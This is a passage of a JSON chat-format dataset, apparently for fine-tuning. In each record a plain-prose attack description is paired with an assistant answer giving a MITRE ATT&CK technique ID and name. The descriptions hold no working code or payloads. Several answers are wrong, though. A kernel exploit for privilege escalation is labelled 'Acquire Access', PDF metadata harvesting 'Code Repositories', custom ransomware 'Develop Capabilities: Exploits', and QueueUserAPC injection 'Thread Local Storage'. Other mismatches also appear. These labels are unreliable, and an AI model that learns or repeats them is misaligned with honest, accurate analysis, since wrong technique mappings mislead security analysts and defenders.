                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a copy of a legitimate system utility, renames it to a harmless-looking name, and executes malicious code from the renamed file."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages open ports and network banners to infer the IP ranges used by the victim organization."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a zero‑day in the traffic signal’s web interface, the attacker uploads malicious code that changes the default traffic light cycle during rush hour."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI/CD pipeline was used to retrieve secrets stored in a cloud vault, enabling further lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a port knocking scheme where three ICMP echo requests with specific payloads are sent in sequence, causing the target system to open a listening port for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a malicious DLL in the AppInit_DLLs registry value so it is loaded by every user-mode process at startup."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor creates a counterfeit Microsoft Teams meeting invitation and sends it via email, where the meeting link leads to a phishing site that logs in credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a forged JWT cookie with altered claims, enabling unauthorized access to protected resources."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a keylogging malware installed through a drive‑by download on a banking portal, capturing one‑time passwords and transaction authentication codes."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers flood theonk corporate network with traffic to cause a denial‑of‑service outage."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a kernel-level race condition in the file system driver, causing the endpoint to freeze."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker injects a malicious payload that leverages the spctl tool to whitelist its executable, bypassing Gatekeeper checks."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts credential entries from the KeePass password manager file that is left unencrypted on disk."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvests the NTLM hash of a service account and creates a silver ticket to authenticate to a target service."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit runs \"whoami /all\" to gather information about the current user and group memberships."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting the unprotected cpassword field in Group Policy Preferences, the attacker harvests credentials for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a PowerShell script that reads the system's firmware date and version from the registry to assess patch status."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker replaces the binary path in an existing launch daemon configuration to point to a trojanized version of the original program."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leveraged a dumped KRBTGT hash to mint a Kerberos ticket with elevated privileges, enabling lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies TCP packets in transit, altering command and control messages to embed hidden commands."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber espionage actors conduct a watering‑hole attack on a popular email client download site, delivering malware that steals email credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation tools were used to overwrite the HTML of the company's internal event calendar with a defaced page."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfigured mail relay, the attacker sends a request to retrieve all email headers and bodies from the target’s mail server."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using covert traffic signaling, the attacker transmits a set of ICMP echo requests to specific ports to trigger a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool queries the Github Enterprise Cloud API to list organization teams and their repository permissions, mapping cloud group privileges."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware leverages the Windows API function QueueUserAPC to place malicious code in a thread's TLS slot."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed credential dumping from a cloud secret management service after escalating privileges."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious user tampers with the organization's internal documentation portal, inserting a defaced banner across all pages."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email linked to a compromised website that performed a drive‑by download of a malicious payload when the link was visited."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a PowerShell script to locate and decrypt the Chromium password store on Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses relay servers and NAT hole‑punching to maintain persistent connections despite the presence of a stateful firewall."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script parses the output of \"dmesg\" for driver load messages to discover drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .lnk shortcut is attached to a phishing email, and when the user clicks it, it runs a script to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant takes network traffic captures, applies a proprietary XOR mask, then embeds the result in a JSON field before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs PowerShell to invoke the Invoke-Command cmdlet with a captured hash, authenticating to a remote host without a plaintext password."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a vulnerability in a public‑facing RDP service to execute code on the target system."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a memory forensics tool to read securityd's memory and obtain saved credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses COM objects to communicate between a malicious DLL injected into a privileged process and a user‑mode service, allowing it to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit script calls LsaQueryInformationPolicy to enumerate password policy settings on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit triggers the system’s script proxy, causing an .lnk file to execute a hidden PowerShell command via wscript.exe."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a backdoored internal image to the device's storage and triggers a reboot to load the altered image."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor compromises a company's web login portal and injects malicious JavaScript that records usernames and passwords as users submit them."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a malicious library into the AppInit_DLLs registry value, the adversary triggers execution on each load of user32.dll."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code performs dynamic DNS lookups to retrieve the latest C2 endpoint before establishing a connection."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker develops custom ransomware malware tailored to evade endpoint detection."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing mmc.exe, the threat actor proxies the execution of a malicious DLL, effectively bypassing application whitelisting controls."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker’s phishing email includes a link to a script that, once executed, uses the ‘soundrecorder.exe’ utility to record a 10‑second audio clip."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Payloads are delivered over a TLS‑like tunnel that actually uses a custom symmetric cipher for encryption."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors obtain a digital certificate through a supply‑chain attack on a software vendor, then use it to sign trojanized installers."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through Kerberoasting, the adversary requests TGS tickets for service accounts, extracts the ticket hashes, and cracks them offline to retrieve the service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the SetDllDirectory API to direct a victim process to load a malicious shared module from a network share."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software initiates a DHCP spoofing attack, causing devices to obtain false network settings and route their traffic through the attacker’s machine."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor modifies the RBAC policy in an OpenShift environment to include additional roles for their compromised account."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a browser extension that silently reads and transmits session cookies to a command‑and‑control server for later use in hijacking user sessions."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code uses timing checks to detect if it is being single-stepped in a debugger and aborts execution."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infected extension uses the tabs API to capture screenshots of active web pages for espionage."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage group packages exfiltrated media files into a custom .media archive format before transfer."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actors placed a malicious VBA macro in a Word document that registers a custom Office add-in to run each time the user opens Word, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfiguration, the threat actor modifies the SNMP community strings on network switches, effectively altering the authentication process."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious call is placed to a help‑desk technician, alleging a critical system outage and requesting the technician’s privileged admin account credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By placing a malicious DLL in a directory that appears earlier in the DLL search order, the threat actor ensures the DLL is loaded instead of the legitimate one."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program monitors for newly attached removable media and copies its payload onto it for later execution on another system."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credentialed insider executed cloud CLI commands to terminate running virtual machines, disrupting the organization’s services."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in the graphics driver to trigger a kernel panic on a user's machine, effectively denying service to the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden subdirectory on the infected workstation and stores stolen data there prior to upload."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker extracts metadata from publicly shared PDFs to discover internal network hosts."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a ZMap scan over the victim's allocated IP address space to quickly enumerate live hosts."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a domain's misconfigured SPF record to send spoofed emails that appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team signs up for TikTok using stolen identities to disseminate ransomware demands."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stops the Windows Defender service and removes its startup entry to prevent antivirus scans."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a compromised laptop’s USB port to offload encrypted archives of stolen data."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploited a known CVE in the operating system's kernel to execute code with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing SNMP credentials, the attacker retrieved detailed hardware inventory from the victim's servers."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs on the infected host to gather browser history and dumps it into a staging directory hidden in AppData."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker provisions a Google Cloud Compute Engine instance to serve as a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
